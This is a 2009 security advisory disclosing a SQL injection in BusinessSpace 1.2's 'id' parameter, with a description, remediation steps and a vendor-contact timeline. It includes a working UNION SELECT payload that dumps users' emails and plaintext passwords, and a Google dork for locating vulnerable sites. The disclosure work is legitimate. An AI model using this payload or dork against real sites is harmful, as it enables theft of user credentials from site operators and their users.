BusinessSpace 1.2 SQL Injection

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[ECHO_ADV_102$2009] BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability  
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Author : M.Hasran Addahroni  
Date : February, 7 th 2009  
Location : Jakarta, Indonesia  
Web : http://e-rdc.org/v1/news.php?readmore=123  
Critical Lvl : Medium  
Impact : Manipulation of data / Exposure of sensitive information  
Where : From Remote  
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Affected software description:  
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Application : BusinessSpace  
version : <= 1.2  
Vendor : http://www.business-space.org  
Description :  
  
BusinessSpace - Social Networking in a Box  
BusinessSpace is an enterprise collaboration software designed to stand up to and keep in pace with today’s ever-evolving, rapidly-growing world of online business and entrepreneurship. Enterprise community software has been taken up to another lever by the developers of BusinessSpace separating itself from regular social networking software and community software. BusinessSpace is not just a social network CMS, not just a LinkedIn clone: it’s more than that. BusinessSpace was developed by business people, just like you. This means that this business networking software is laced with the features that a businessman, employer, employee or entrepreneur needs. No fancy community software applications, no fancy profiles: it’s simply strictly business. Because that’s what BusinessSpace enterprise social networking software is all about – business.  
  
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Vulnerability:  
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Input passed to the "id" parameter in classified.php page is not properly verified before being used   
in sql queries.This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
Successful exploitation allows attacker retrieving users email and password in plain text.  
  
  
Poc/Exploit:  
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http://www.example.com/[path]/index.php?id=-1 union select 1,concat(id,0x3a,name,0x3a,surname,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10 from users--&page=classified  
  
Dork:  
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Google : "Create your personalized professional identity" or "Professional Networking Starts Here!"  
  
  
Solution:  
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- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals in php.ini  
  
Timeline:  
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- 01 - 02 - 2009 bug found  
- 01 - 02 - 2009 vendor contacted but no response  
- 06 - 02 - 2009 vendor contacted again still no response  
- 07 - 02 - 2009 advisory released  
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